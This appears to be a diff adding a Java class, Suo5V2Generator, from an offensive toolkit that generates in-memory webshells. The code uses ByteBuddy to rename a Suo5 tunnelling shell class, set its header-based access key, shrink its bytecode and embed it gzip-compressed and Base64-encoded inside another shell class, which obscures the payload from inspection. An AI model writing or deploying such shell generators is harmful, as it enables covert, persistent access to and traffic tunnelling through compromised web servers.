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| 1 | +package com.reajason.javaweb.memshell.generator; |
| 2 | + |
| 3 | +import com.reajason.javaweb.ClassBytesShrink; |
| 4 | +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; |
| 5 | +import com.reajason.javaweb.memshell.config.ShellConfig; |
| 6 | +import com.reajason.javaweb.memshell.config.Suo5Config; |
| 7 | +import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2; |
| 8 | +import com.reajason.javaweb.utils.CommonUtil; |
| 9 | +import net.bytebuddy.ByteBuddy; |
| 10 | +import net.bytebuddy.dynamic.DynamicType; |
| 11 | +import org.apache.commons.codec.binary.Base64; |
| 12 | + |
| 13 | +import static net.bytebuddy.matcher.ElementMatchers.named; |
| 14 | + |
| 15 | +/** |
| 16 | + * @author ReaJason |
| 17 | + * @since 2025/2/12 |
| 18 | + */ |
| 19 | +public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> { |
| 20 | + |
| 21 | + public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) { |
| 22 | + super(shellConfig, suo5Config); |
| 23 | + } |
| 24 | + |
| 25 | + @Override |
| 26 | + protected DynamicType.Builder<?> getBuilder() { |
| 27 | + if (Suo5v2.class.equals(shellToolConfig.getShellClass())) { |
| 28 | + return new ByteBuddy() |
| 29 | + .redefine(shellToolConfig.getShellClass()) |
| 30 | + .field(named("headerName")).value(shellToolConfig.getHeaderName()) |
| 31 | + .field(named("headerValue")).value(shellToolConfig.getHeaderValue()); |
| 32 | + } |
| 33 | + try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy() |
| 34 | + .redefine(Suo5v2.class) |
| 35 | + .name(CommonUtil.generateClassName()) |
| 36 | + .field(named("headerName")).value(shellToolConfig.getHeaderName()) |
| 37 | + .field(named("headerValue")).value(shellToolConfig.getHeaderValue()) |
| 38 | + .visit(TargetJreVersionVisitorWrapper.DEFAULT) |
| 39 | + .make()) { |
| 40 | + byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true); |
| 41 | + return new ByteBuddy() |
| 42 | + .redefine(shellToolConfig.getShellClass()) |
| 43 | + .field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes))); |
| 44 | + } |
| 45 | + } |
| 46 | +} |
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